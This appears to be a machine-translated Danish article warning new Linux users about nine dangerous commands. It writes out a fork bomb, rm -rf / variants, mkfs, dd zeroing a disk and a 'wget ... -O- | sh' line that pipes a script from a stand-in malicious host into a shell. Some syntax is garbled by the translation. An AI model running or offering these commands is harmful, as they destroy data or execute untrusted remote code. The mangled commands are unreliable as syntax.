Hjemmeside » Desktop » 9 Linux kommandoer og koder at være forsigtige med

    9 Linux kommandoer og koder at være forsigtige med

    Linux shell / terminal kommandoer er meget kraftfulde og bare en simpel kommando kan føre til, at man sletter en mappe, filer eller rodmappe osv.

    I nogle tilfælde vil Linux ikke engang bede dig om bekræftelse, men det vil straks udføre kommandoen, hvilket får dig til at miste værdifulde data og oplysninger gemt i disse filer og mapper.

    Det er almindeligt, at folk kan indsende indhold på internettet anbefale nye Linux-brugere at udføre disse kommandoer. Dette kan virke som en joke for en person, der har indsendt indholdet, men det er ikke noget grin for personen i den anden ende.

    Vi har samlet nogle Linux-kommandoer, der er ret skadelige for dit system for at hjælpe dig med at undgå dem. Husk på, at de faktisk er farlige og kan endda ændres på forskellige måder til at producere nye kommandoer at forårsage mere skade.

    En vigtig ting at bemærke er det nogle af disse kommandoer er kun farlige, hvis de er prefixed med sudo på ubuntu. På andre distributioner af Linux vil de fleste af disse givne kommandoer være farlige at udføre som root.

    Tag et kig på 9 kommandoer og koder du bør undgå at udføre.

    1. Linux Fork Bomb Command

    : () : |: & ;: også kendt som Gaffelbombe er et benægtelsesangreb mod et Linux-system. : () : |: & ;: er en bash funktion. En gang henrettet, det gentager sig flere gange, indtil systemet fryser.

    Du kan kun slippe af med det ved at genstarte dit system. Så pas på, når du udfører denne kommando på din Linux shell.

    2. mv mappe / dev / null Command

    mv mappe / dev / null er en anden risikabel kommando. Dev / null eller null enhed er en enhedsfil, der kasserer alle de data, der er skrevet på den, men det rapporterer, at skriveoperationen udføres med succes. Det er også kendt som bit bucked eller sort hul.

    3. rm-rf kommando

    rm-rf kommando er en hurtig måde at Slet en mappe og dens indhold i Linux-operativsystemet. Hvis du ikke ved, hvordan du bruger det korrekt, kan det blive meget farligt for systemet. De mest almindelige kombinationer og muligheder, der bruges med rm-rf-kommandoen, er anført nedenfor:

    • rm Kommando bruges til at slette filerne i Linux-systemet.
    • rm -f kommandoen fjerner skrivebeskyttede filer i mappen uden at anmode om det.
    • rm -r kommandoen sletter indholdet af en mappe rekursivt.
    • rm -d Kommando bruges til at fjerne en tom mappe, men det vil nægte at fjerne mappen, hvis den ikke er tom.
    • rm-rf / kommando bruges til tvunget sletning (det sletter det selv, hvis det er skrivebeskyttet) af alt indhold i rodmappe og undermapper.
    • rm -rf * kommando bruges til tvunget sletning af alt indhold i den aktuelle mappe (mappe du arbejder i øjeblikket) og undermapper.
    • rm-rf. kommando bruges til tvunget sletning af alt indhold i den aktuelle mappe og undermapper. Det rm-r. [^.] * kommando kan også bruges.
    • rm -i Kommando bruges til fjernelse af filer og mapper, men en prompt vises inden fjernelse.

    4. mkfs kommando

    mkfs kan være en farlig kommando til dit Linux-baserede system, hvis du ikke kender dens formål. Alt, der er skrevet efter mkfs'en, vil blive formateret og erstattet af et tomt Linux-filsystem.

    Alle kommandoer nævnt nedenfor vil formatere harddisken og det kræver administratorrettigheder:

    • mkfs
    • mkfs.ext3
    • mkfs.bfs
    • mkfs.ext2
    • mkfs.minix
    • mkfs.msdos
    • mkfs.reiserfs
    • mkfs.vfat

    Kommandoen mkfs.cramfs vil gøre det samme som ovenstående, men det kræver ikke administratorrettigheder til at udføre.

    5. Tjære bombe

    Det tjære kommando bruges til at kombinere flere filer i en enkelt fil (arkiveret fil) i .tjære format. En Tape Archive (Tar) bombe kan oprettes med denne kommando.

    det er en arkivfil, der eksploderer i tusinder eller millioner af filer med navne der ligner de eksisterende filer i den aktuelle mappe snarere end i en ny mappe, når den ikke er markeret.

    Du kan undgå at blive offer for en tjærebombe af Opret regelmæssigt en ny beskyttelsesmappe, når du modtager en tjærefil og derefter flytte den modtagne tjærefil i denne mappe før untarring.

    Hvis tjærefilen faktisk er en tjærebombe, kan du blot fjerne den nyoprettede mappe for at slippe af med det. En anden måde at undgå eksplosionen af ​​en tjærebomb er via det -t mulighed for at liste hele indholdet af en tjærefil for at give dig en ide om, hvilken type indhold der er indeholdt i tjærefilen.

    6. dd kommando

    Det dd kommando er vant til kopiere og konvertere harddiskpartitioner. Det kan dog vise sig at være skadeligt, hvis du angiver den forkerte destination.

    Kommandoen kan være en af ​​disse:

    • dd hvis = / dev / hda af = / dev / hdb
    • dd hvis = / dev / hda af = / dev / sdb
    • dd if = noget af = / dev / hda
    • dd if = noget af = / dev / sda

    Følgende kommando nulstiller hele den primære harddisk: dd hvis = / dev / zero of = / dev / had

    7. Shell Script Code

    Nogen kan ofre dig ved giver dig linket til et shell script og tilslutter dig at downloade og udføre det. Scriptet kan indeholde en skadelig eller farlig kode inde. Det kommandoformat kan se sådan ud: wget http: // some_malicious_source -O- | sh. Det wget vil downloade scriptet mens sh downloader script execution.

    8. Ondskabelig kildekode

    Nogen giver dig kildekoden og beder dig om at kompilere det. Koden kan synes at være en normal kode, men faktisk er en ondsindet kode forklædt i den store kildekode og det kan forårsage skade på dit system. For at undgå at blive offer for denne form for angreb, accepter kun og kompilér din kildekode fra troværdige kilder.

    9. Decompression Bomb

    Du har modtaget en komprimeret fil, og du bliver bedt om at udtrække denne fil, som synes at være meget lille i størrelse, men det kan være et par KB. Faktisk, Denne lille størrelse komprimerede fil indeholder meget højt komprimerede data.

    Når filen er dekomprimeret, ekstraheres hundredvis af GB data som kan fylde din harddisk at bringe ydeevnen af ​​dit system ned. For at undgå denne situation skal du altid huske at acceptere data fra troværdige kilder.